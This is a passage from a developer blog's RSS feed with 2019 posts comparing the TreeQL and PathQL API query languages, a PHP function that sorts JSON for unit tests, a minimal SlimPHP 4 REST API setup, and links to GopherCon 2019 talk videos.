<tr><td>PHP-CRUD-API</td><td>TreeQL / -</td><td>TreeQL / -</td><td>- / -</td><td>TreeQL / -</td><td>0</td></tr>
</tbody></table>
<p>As you can see the score of <a href="https://treeql.org">TreeQL</a> and
<a href="https://pathql.org">PathQL</a> are on the bottom and on the top, pursuing
different architectural goals.
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> tries to be a generic
full-featured REST implementation, mainly due to the lack of a powerful REST
standard. <a href="https://github.com/mevdschee/pathql-flask">PathQL-Flask</a> tries to
implement as little as possible, using database (and other) standards where
available.</p>
<p>If you don&rsquo;t know any of the above I would recommend to give
<a href="https://www.graphile.org/postgraphile/">PostGraphile</a> a try as it lets you
build an endpoint for the super popular <a href="https://graphql.org/">GraphQL</a> protocol
with almost no effort.</p>
<p>Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li>Protocols
<ul>
<li><a href="https://pathql.org/">PathQL.org</a></li>
<li><a href="https://graphql.org/">GraphQL.org</a></li>
<li><a href="https://jsonapi.org/">JsonApi.org</a></li>
<li><a href="https://treeql.org">TreeQL.org</a></li>
</ul>
</li>
<li>Implementations
<ul>
<li><a href="https://github.com/mevdschee/pathql-flask">PathQL-Flask</a> (PathQL)</li>
<li><a href="https://github.com/mevdschee/pathql-go">PathQL-Go</a> (PathQL)</li>
<li><a href="https://www.graphile.org/postgraphile/">PostGraphile</a> (GraphQL)</li>
<li><a href="https://hasura.io/">Hasura</a> (GraphQL)</li>
<li><a href="https://postgrest.org/">PostgREST</a> (JSON:API + Custom)</li>
<li><a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> (TreeQL)</li>
</ul>
</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>TreeQL and PathQL compared</title>
      <link>https://www.tqdev.com/2019-treeql-and-pathql-compared/</link>
      <pubDate>Sat, 02 Nov 2019 21:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-treeql-and-pathql-compared/</guid>
      <description>&lt;p&gt;TreeQL (see: &lt;a href=&#34;https://treeql.org/&#34;&gt;TreeQL.org&lt;/a&gt;) and PathQL (see:
&lt;a href=&#34;https://pathql.org/&#34;&gt;PathQL.org&lt;/a&gt;) are two API query languages that I have
designed and implemented. These implementations can save you time implementing
your queries and CRUD operations on database models as REST API&amp;rsquo;s in
(administrative) business applications.&lt;/p&gt;
&lt;h3 id=&#34;treeql-design-philosophy&#34;&gt;TreeQL design philosophy&lt;/h3&gt;
&lt;p&gt;In one sentence:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TreeQL is a feature-rich REST protocol for exposing database tables as
resources over the web using nested JSON.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;It does:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;.. follow the REST protocol closely&lt;/li&gt;
&lt;li&gt;.. have a limited (spatial) filtering language&lt;/li&gt;
&lt;li&gt;.. nesting based on foreign key relations&lt;/li&gt;
&lt;li&gt;.. hide the underlying SQL dialect&lt;/li&gt;
&lt;li&gt;.. no real joins, only sub-selects&lt;/li&gt;
&lt;li&gt;.. support application authorization&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Example query to get the content of post 1 with the messages in the comments:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>TreeQL (see: <a href="https://treeql.org/">TreeQL.org</a>) and PathQL (see:
<a href="https://pathql.org/">PathQL.org</a>) are two API query languages that I have
designed and implemented. These implementations can save you time implementing
your queries and CRUD operations on database models as REST API&rsquo;s in
(administrative) business applications.</p>
<h3 id="treeql-design-philosophy">TreeQL design philosophy</h3>
<p>In one sentence:</p>
<blockquote>
<p>TreeQL is a feature-rich REST protocol for exposing database tables as
resources over the web using nested JSON.</p></blockquote>
<p>It does:</p>
<ul>
<li>.. follow the REST protocol closely</li>
<li>.. have a limited (spatial) filtering language</li>
<li>.. nesting based on foreign key relations</li>
<li>.. hide the underlying SQL dialect</li>
<li>.. no real joins, only sub-selects</li>
<li>.. support application authorization</li>
</ul>
<p>Example query to get the content of post 1 with the messages in the comments:</p>
<pre><code>GET /records/posts/1?join=comments&amp;include=posts.content,comments.message
</code></pre>
<p>TreeQL has a limited functionality, but is seen as a &ldquo;real&rdquo; REST API.</p>
<h3 id="pathql-design-philosophy">PathQL design philosophy</h3>
<p>In one sentence:</p>
<blockquote>
<p>PathQL is a simple protocol to talk SQL to your database system over the web
and get nested JSON results back.</p></blockquote>
<p>It does:</p>
<ul>
<li>.. not follow the REST protocol</li>
<li>.. use SQL as filtering language</li>
<li>.. nesting based on <a href="https://goessner.net/articles/JsonPath/">JSONPath</a> in
column aliases</li>
<li>.. expose the underlying SQL dialect</li>
<li>.. support all SQL constructs</li>
<li>.. support database authorization only</li>
</ul>
<p>Example POST value to get the content of post 1 with the messages in the
comments:</p>
<pre><code>select posts.content as &quot;$.content&quot;, comments.message as &quot;$.comments[].message&quot; 
from posts, comments where comments.post_id = posts.id and posts.id = 1
</code></pre>
<p>Resulting in the following nested JSON:</p>
<pre><code>{&quot;content&quot;:&quot;blog started&quot;,&quot;comments&quot;:[{&quot;message&quot;:&quot;great&quot;},{&quot;message&quot;:&quot;fantastic&quot;}]}
</code></pre>
<p>PathQL relies on standards, has unlimited functionality, but it is not a &ldquo;real&rdquo;
REST API.</p>
<h3 id="security-considerations">Security considerations</h3>
<p>With TreeQL your clients cannot execute arbitrary SQL, but with PathQL they can.
This means that PathQL has one layer of defense less and that the attack surface
is at the database level. That&rsquo;s why I would not advice to use PathQL unless you
have a good DBA to secure, limit, isolate and monitor the database usage. On the
other hand the PathQL implementation is a lot thinner than the TreeQL
implementation, making it easier to audit.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://goessner.net/articles/JsonPath/">JSONPath - XPath for JSON</a></li>
<li><a href="https://treeql.org/">TreeQL.org</a></li>
<li><a href="https://pathql.org/">PathQL.org</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Sorting JSON for unit testing</title>
      <link>https://www.tqdev.com/2019-sorting-json-for-unit-testing/</link>
      <pubDate>Sat, 26 Oct 2019 20:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-sorting-json-for-unit-testing/</guid>
      <description>&lt;p&gt;When you are creating unit tests for things that produce JSON, you will quickly
find that you need to compare two JSON strings for equality. The order of
key/value pairs within a JSON object is not defined, while the order within JSON
arrays is. The spec (&lt;a href=&#34;https://tools.ietf.org/html/rfc7159&#34;&gt;RFC 7159&lt;/a&gt;) says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An &lt;strong&gt;object&lt;/strong&gt; is an &lt;strong&gt;unordered&lt;/strong&gt; collection of zero or more name/value
pairs&amp;hellip; An &lt;strong&gt;array&lt;/strong&gt; is an &lt;strong&gt;ordered&lt;/strong&gt; sequence of zero or more values.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When you are creating unit tests for things that produce JSON, you will quickly
find that you need to compare two JSON strings for equality. The order of
key/value pairs within a JSON object is not defined, while the order within JSON
arrays is. The spec (<a href="https://tools.ietf.org/html/rfc7159">RFC 7159</a>) says:</p>
<blockquote>
<p>An <strong>object</strong> is an <strong>unordered</strong> collection of zero or more name/value
pairs&hellip; An <strong>array</strong> is an <strong>ordered</strong> sequence of zero or more values.</p></blockquote>
<p>In this blog post I&rsquo;ll show how to sort JSON trees in lexicographical order.
When the values originate from a set (such as unordered SQL results), then you
may want to sort the arrays as well. Turning the sorting of objects and arrays
on and off is possible.</p>
<h3 id="example">Example</h3>
<p>Let me show what the code does. The JSON string:</p>
<pre><code>{&quot;id&quot;:10,&quot;usr&quot;:{&quot;uid&quot;:10,&quot;gid&quot;:5,&quot;roles&quot;:[3,1,2]},&quot;cat&quot;:2}
</code></pre>
<p>is translated into:</p>
<pre><code>{&quot;cat&quot;:2,&quot;id&quot;:10,&quot;usr&quot;:{&quot;gid&quot;:5,&quot;roles&quot;:[3,1,2],&quot;uid&quot;:10}}
</code></pre>
<p>with the sort objects option set to true, or into:</p>
<pre><code>{&quot;cat&quot;:2,&quot;id&quot;:10,&quot;usr&quot;:{&quot;gid&quot;:5,&quot;roles&quot;:[1,2,3],&quot;uid&quot;:10}}
</code></pre>
<p>with both the sort objects and the sort arrays option set to true.</p>
<h3 id="using-phpunit">Using PHPUnit</h3>
<p>In the &ldquo;real world&rdquo; you may want to use PHPUnit&rsquo;s
&ldquo;<code>assertJsonStringEqualsJsonString</code>&rdquo; function:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">PHPUnit\Framework\TestCase</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">final</span> <span class="k">class</span> <span class="nc">JsonStringEqualsJsonStringTest</span> <span class="k">extends</span> <span class="nx">TestCase</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">testSuccess</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">assertJsonStringEqualsJsonString</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;{&#34;id&#34;:10,&#34;usr&#34;:{&#34;uid&#34;:10,&#34;gid&#34;:5,&#34;roles&#34;:[3,1,2]},&#34;cat&#34;:2}&#39;</span><span class="p">,</span> 
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;{&#34;cat&#34;:2,&#34;id&#34;:10,&#34;usr&#34;:{&#34;gid&#34;:5,&#34;roles&#34;:[3,1,2],&#34;uid&#34;:10}}&#39;</span>
</span></span><span class="line"><span class="cl">        <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>This test will pass! As it should in accordance with RFC 7159. But wouldn&rsquo;t we
have much more fun writing out own canonicalizer for JSON strings? Sure! So,
let&rsquo;s go!</p>
<h3 id="sorting-sub-trees">Sorting sub-trees</h3>
<p>To order a JSON array or object we first look for any sub-tree (a child that is
an array or an object) and sort those first. After that the entire array or
object is sorted. Sorting objects by doing a simple key sort, while sorting
arrays is done by converting the sub-tree into a JSON string and doing a normal
(case sensitive) string sort. This way the keys at all levels are sorted in
lexicographical order. And since we sort the deepest level first and work our
way up, we can ensure that the contents stay sorted on all levels. On array sort
we take the entire sub-tree into account, ensuring that there are no ties,
unless two sub-trees are exactly the same.</p>
<h3 id="the-code">The code</h3>
<p>Below you find the code for the &ldquo;<code>json_sort</code>&rdquo; function. It takes a JSON string
and returns a JSON string as well.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">json_sort</span><span class="p">(</span><span class="nx">string</span> <span class="nv">$json</span><span class="p">,</span> <span class="nx">bool</span> <span class="nv">$objects</span><span class="o">=</span><span class="k">true</span><span class="p">,</span> <span class="nx">bool</span> <span class="nv">$arrays</span><span class="o">=</span><span class="k">false</span><span class="p">)</span><span class="o">:</span> <span class="nx">string</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// uses a recursive lambda
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$order</span> <span class="o">=</span> <span class="k">null</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$order</span> <span class="o">=</span> <span class="k">function</span> <span class="p">(</span><span class="nv">$json</span><span class="p">)</span> <span class="k">use</span> <span class="p">(</span><span class="o">&amp;</span><span class="nv">$order</span><span class="p">,</span> <span class="nv">$objects</span><span class="p">,</span> <span class="nv">$arrays</span><span class="p">)</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">        <span class="c1">// sort sub-trees
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$json</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=&gt;</span> <span class="nv">$value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nx">is_array</span><span class="p">(</span><span class="nv">$value</span><span class="p">)</span> <span class="o">||</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$value</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="nx">is_array</span><span class="p">(</span><span class="nv">$json</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nv">$json</span><span class="p">[</span><span class="nv">$key</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$order</span><span class="p">(</span><span class="nv">$value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nv">$json</span><span class="o">-&gt;</span><span class="nv">$key</span> <span class="o">=</span> <span class="nv">$order</span><span class="p">(</span><span class="nv">$value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// sort this array or object
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">if</span> <span class="p">(</span><span class="nv">$arrays</span> <span class="o">&amp;&amp;</span> <span class="nx">is_array</span><span class="p">(</span><span class="nv">$json</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">usort</span><span class="p">(</span><span class="nv">$json</span><span class="p">,</span><span class="k">function</span> <span class="p">(</span><span class="nv">$a</span><span class="p">,</span><span class="nv">$b</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="nx">json_encode</span><span class="p">(</span><span class="nv">$a</span><span class="p">)</span><span class="o">&lt;=&gt;</span><span class="nx">json_encode</span><span class="p">(</span><span class="nv">$b</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">});</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nv">$objects</span> <span class="o">&amp;&amp;</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$json</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$arr</span> <span class="o">=</span> <span class="p">(</span><span class="k">array</span><span class="p">)</span> <span class="nv">$json</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nx">ksort</span><span class="p">(</span><span class="nv">$arr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$json</span> <span class="o">=</span> <span class="p">(</span><span class="nx">object</span><span class="p">)</span> <span class="nv">$arr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nv">$json</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">json_encode</span><span class="p">(</span><span class="nv">$order</span><span class="p">(</span><span class="nx">json_decode</span><span class="p">(</span><span class="nv">$json</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>As always, you can find this code on my Github account:</p>
<p><a href="https://github.com/mevdschee/json_sort.php">https://github.com/mevdschee/json_sort.php</a></p>
<p>Happy coding!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Automatic REST API for SlimPHP 4 (minimal)</title>
      <link>https://www.tqdev.com/2019-automatic-rest-api-slimphp-4-minimal/</link>
      <pubDate>Thu, 26 Sep 2019 17:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-automatic-rest-api-slimphp-4-minimal/</guid>
      <description>&lt;p&gt;Last month we showed how to use
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; (2k stars) as a
library executed on an endpoint in the
&lt;a href=&#34;https://www.slimframework.com/&#34;&gt;SlimPHP 4 framework&lt;/a&gt; (10k stars). In the
previous post we used the recommended way to set up a SlimPHP 4 project and in
this post we take a minimal approach (using as little code as possible).&lt;/p&gt;
&lt;h3 id=&#34;install-slimphp4&#34;&gt;Install SlimPHP4&lt;/h3&gt;
&lt;p&gt;We download composer and use it to install the two projects:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://getcomposer.org/composer.phar
php composer.phar require slim/slim:^4
php composer.phar require mevdschee/php-crud-api
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is all that is needed.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Last month we showed how to use
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> (2k stars) as a
library executed on an endpoint in the
<a href="https://www.slimframework.com/">SlimPHP 4 framework</a> (10k stars). In the
previous post we used the recommended way to set up a SlimPHP 4 project and in
this post we take a minimal approach (using as little code as possible).</p>
<h3 id="install-slimphp4">Install SlimPHP4</h3>
<p>We download composer and use it to install the two projects:</p>
<pre><code>wget https://getcomposer.org/composer.phar
php composer.phar require slim/slim:^4
php composer.phar require mevdschee/php-crud-api
</code></pre>
<p>This is all that is needed.</p>
<h3 id="create-an-indexphp">Create an index.php</h3>
<p>Now add the following code to a file named <code>index.php</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Psr\Http\Message\ResponseInterface</span> <span class="k">as</span> <span class="nx">Response</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Psr\Http\Message\ServerRequestInterface</span> <span class="k">as</span> <span class="nx">Request</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">Slim\Factory\AppFactory</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">\Tqdev\PhpCrudApi\Config</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">\Tqdev\PhpCrudApi\Api</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">require</span> <span class="no">__DIR__</span><span class="o">.</span><span class="s1">&#39;/vendor/autoload.php&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Instantiate App
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$app</span> <span class="o">=</span> <span class="nx">AppFactory</span><span class="o">::</span><span class="na">create</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// Add this handler for PHP-CRUD-API:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$app</span><span class="o">-&gt;</span><span class="na">any</span><span class="p">(</span><span class="s1">&#39;/api[/{params:.*}]&#39;</span><span class="p">,</span> <span class="k">function</span> <span class="p">(</span><span class="nx">Request</span> <span class="nv">$request</span><span class="p">,</span> <span class="nx">Response</span> <span class="nv">$response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$config</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Config</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;username&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;password&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;database&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;php-crud-api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;basePath&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;/api&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$api</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Api</span><span class="p">(</span><span class="nv">$config</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$api</span><span class="o">-&gt;</span><span class="na">handle</span><span class="p">(</span><span class="nv">$request</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$app</span><span class="o">-&gt;</span><span class="na">run</span><span class="p">();</span>
</span></span></code></pre></div><p>And run it using the following command:</p>
<pre><code>php -S localhost:8080
</code></pre>
<p>You should be able to see the API running at:</p>
<pre><code>http://localhost:8080/api/records/posts
</code></pre>
<p>Replace &ldquo;posts&rdquo; with the name of any table in your database. If everything works
as expected, then you should see the contents of the table in JSON format.</p>
<p>You can find the code on Github:</p>
<p><a href="https://github.com/mevdschee/slim-crud-api">https://github.com/mevdschee/slim-crud-api</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>GopherCon 2019: videos online</title>
      <link>https://www.tqdev.com/2019-gophercon-2019-videos-online/</link>
      <pubDate>Wed, 28 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2019-gophercon-2019-videos-online/</guid>
      <description>&lt;p&gt;GopherCon is the original Go conference. It debuted in 2014 and was celebrating
it&amp;rsquo;s five-year anniversary last year. Like every year it was held in the
Colorado Convention Center in Denver and it had about 1800 attendees. The videos
are posted on the
&lt;a href=&#34;https://www.youtube.com/channel/UCx9QVEApa5BKLw9r8cnOFEA&#34;&gt;Gopher Academy Youtube channel&lt;/a&gt;
and are also linked here:&lt;/p&gt;
&lt;h3 id=&#34;thursday-july-25&#34;&gt;Thursday July 25&lt;/h3&gt;
&lt;p&gt;9:00 Welcome Gophers!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=kNHo788oO5Y&#34;&gt;Russ Cox - On the Path to Go 2&lt;/a&gt;
[34:57]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=nLskCRJOdxM&#34;&gt;Elena Morozova - How Uber Goes&lt;/a&gt;
[23:31]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;10:15 Morning Break&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>GopherCon is the original Go conference. It debuted in 2014 and was celebrating
it&rsquo;s five-year anniversary last year. Like every year it was held in the
Colorado Convention Center in Denver and it had about 1800 attendees. The videos
are posted on the
<a href="https://www.youtube.com/channel/UCx9QVEApa5BKLw9r8cnOFEA">Gopher Academy Youtube channel</a>
and are also linked here:</p>
<h3 id="thursday-july-25">Thursday July 25</h3>
<p>9:00 Welcome Gophers!</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=kNHo788oO5Y">Russ Cox - On the Path to Go 2</a>
[34:57]</li>
<li><a href="https://www.youtube.com/watch?v=nLskCRJOdxM">Elena Morozova - How Uber Goes</a>
[23:31]</li>
</ul>
<p>10:15 Morning Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=9D6eWP4peYM">Elias Naur - Portable, Immediate Mode GUI Programs for Mobile and Desktop</a>
[23:21]</li>
<li><a href="https://www.youtube.com/watch?v=EFJfdWzBHwE">Rebecca Stambler - Go, pls stop breaking my editor</a>
[23:57]</li>
<li><a href="https://www.youtube.com/watch?v=us9hfJqncV8">Patrick Hawley - Controlling the go runtime</a>
[45:35]</li>
<li><a href="https://www.youtube.com/watch?v=Dxs4LGjmEL4">Johan Brandhorst - Get Going with WebAssembly</a>
[43:49]</li>
<li><a href="https://www.youtube.com/watch?v=4WIhhzTTd0Y">Marwan Sulaiman - Handling Go Errors</a>
[31:55]</li>
</ul>
<p>12:40 Lunch</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=WaD8sNqroAw">Michael McLoughlin - Better x86 Assembly Generation from Go</a>
[40:31]</li>
<li><a href="https://www.youtube.com/watch?v=KqTySYYhPUE">Katie Hockman - Go Module Proxy: Life of a Query</a>
[38:19]</li>
<li><a href="https://www.youtube.com/watch?v=O_R7Nwsix1c">Yusuke Miyake - Optimization for Number of goroutines Using Feedback Control</a>
[43:19]</li>
<li><a href="https://www.youtube.com/watch?v=eMz0vni6PAw">Carolyn Van Slyck - Design Command-Line Tools People Love</a>
[41:08]</li>
<li><a href="https://www.youtube.com/watch?v=VwPQKS9Njv0">Eric Chiang - PKI for Gophers</a>
[36:05]</li>
<li><a href="https://www.youtube.com/watch?v=xknPvUmeUTQ">Kris Brandow - The Gopher's Manual of Style</a>
[38:43]</li>
</ul>
<p>15:40 Afternoon Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=cQgpNkKi9aA">Oliver Stenbom - Contributing to the os Package: How Deep Do You Go?</a>
[23:56]</li>
</ul>
<p>16:50: Housekeeping Notes</p>
<h3 id="friday-july-26">Friday July 26</h3>
<p>9:00 Welcome Back</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=WDbbIS7m9bU">Aaron Schlesinger - The Athens Project</a>
[21:30]</li>
<li><a href="https://www.youtube.com/watch?v=WzgLqE-3IhY">Ian Lance Taylor - Generics in Go</a>
[23:53]</li>
</ul>
<p>10:05 Morning Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=hIWQeTL4gpQ">Jessica Lucci - You Can't Go Your Own Way</a>
[23:10]</li>
<li><a href="https://www.youtube.com/watch?v=EiB9ZVrvrz0">Ron Evans - Small is Going Big: Go on Microcontrollers</a>
[27:04]</li>
<li><a href="https://www.youtube.com/watch?v=h0s8CWpIKdg">Chris Hines - Death By 3000 Timers: Streaming VoD for Cable TV</a>
[36:57]</li>
<li><a href="https://www.youtube.com/watch?v=oE_vm7KeV_E">Daniel Marti - Optimizing Go Code Without a Blindfold</a>
[37:27]</li>
<li><a href="https://www.youtube.com/watch?v=pGR3r0UhoS8">Gabbi Fisher - Socket to Me: Where do Sockets Live in Go?</a>
[30:09]</li>
</ul>
<p>12:40 Lunch</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=JhdL5AkH-AQ">Jonathan Amsterdam - Detecting Incompatible API Changes</a>
[39:26]</li>
<li><a href="https://www.youtube.com/watch?v=de9cVAx6REA">Jason Keene - Dynamically Instrumenting Go Programs</a>
[32:41]</li>
<li><a href="https://www.youtube.com/watch?v=1U-Gzz4TYP0">Denis Isaev - Go Linters: Myths and Best Practices</a>
[37:23]</li>
<li><a href="https://www.youtube.com/watch?v=rWBSMsLG8po">Mat Ryer - How I Write HTTP Web Services after Eight Years</a>
[44:11]</li>
<li><a href="https://www.youtube.com/watch?v=Um3l_pr3dzw">Mike Seplowitz - Tracking Inter-process Dependencies</a>
[48:13]</li>
<li><a href="https://www.youtube.com/watch?v=nok0aYiGiYA">Dave Cheney - Two Go Programs, Three Different Profiling Techniques</a>
[43:00]</li>
</ul>
<p>15:40 Afternoon Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=_Pc0bzz4-gM">Johnny Boursiquot - What Got Us Here, Won't Get Us There</a>
[19:14]</li>
</ul>
<p>16:50: Housekeeping Notes</p>
<h3 id="saturday-july-27">Saturday July 27</h3>
<p>From 10:00 to 16:00 there were lightning talks. Here they are in random order:</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=5lqmHMZb-fY">Ankush Chadha - Building A Central Go Modules Repository</a>
[6:58]</li>
<li><a href="https://www.youtube.com/watch?v=fMIRKRj_A88">Chris Wendt - LSFI + Go</a> [5:16]</li>
<li><a href="https://www.youtube.com/watch?v=aJgmPCBEtbs">Kenigbolo Meya Stephen - Continuous Documentation</a>
[7:02]</li>
<li><a href="https://www.youtube.com/watch?v=NxNsfi-hZe0">Francesc Campoy - Badgers, Gophers and Graphs</a>
[7:12]</li>
<li><a href="https://www.youtube.com/watch?v=itbaRj30wNI">Kazuki Higashiguchi - Building Server Side API Architecture</a>
[5:39]</li>
<li><a href="https://www.youtube.com/watch?v=621edh6QVBw">Michael McLoughlin - The Fuzzy Tale of an x crypto Vulnerability</a>
[7:04]</li>
<li><a href="https://www.youtube.com/watch?v=Syt7TnikBfk">Sean DuBois - WebRTC and Go</a>
[6:29]</li>
<li><a href="https://www.youtube.com/watch?v=DiBZetR733Y">Paul Jolly - gopls + vim = govim</a>
[6:34]</li>
<li><a href="https://www.youtube.com/watch?v=AssQY0c_fEo">Kevin Gillette - Forking Stdlib JSON</a>
[7:17]</li>
<li><a href="https://www.youtube.com/watch?v=1BXPyweHFqA">Anagha Todalbagi - Feature Flags</a>
[4:45]</li>
<li><a href="https://www.youtube.com/watch?v=J5XbO4LbOys">Iccha Sethi - Queuing Theories</a>
[6:23]</li>
<li><a href="https://www.youtube.com/watch?v=eHDsX5exLM0">Jaime Garcia - A Serverless Journey</a>
[7:09]</li>
<li><a href="https://www.youtube.com/watch?v=HrSiRLVTOFM">Eyitayo Alimi - Managing Community Negativity</a>
[6:40]</li>
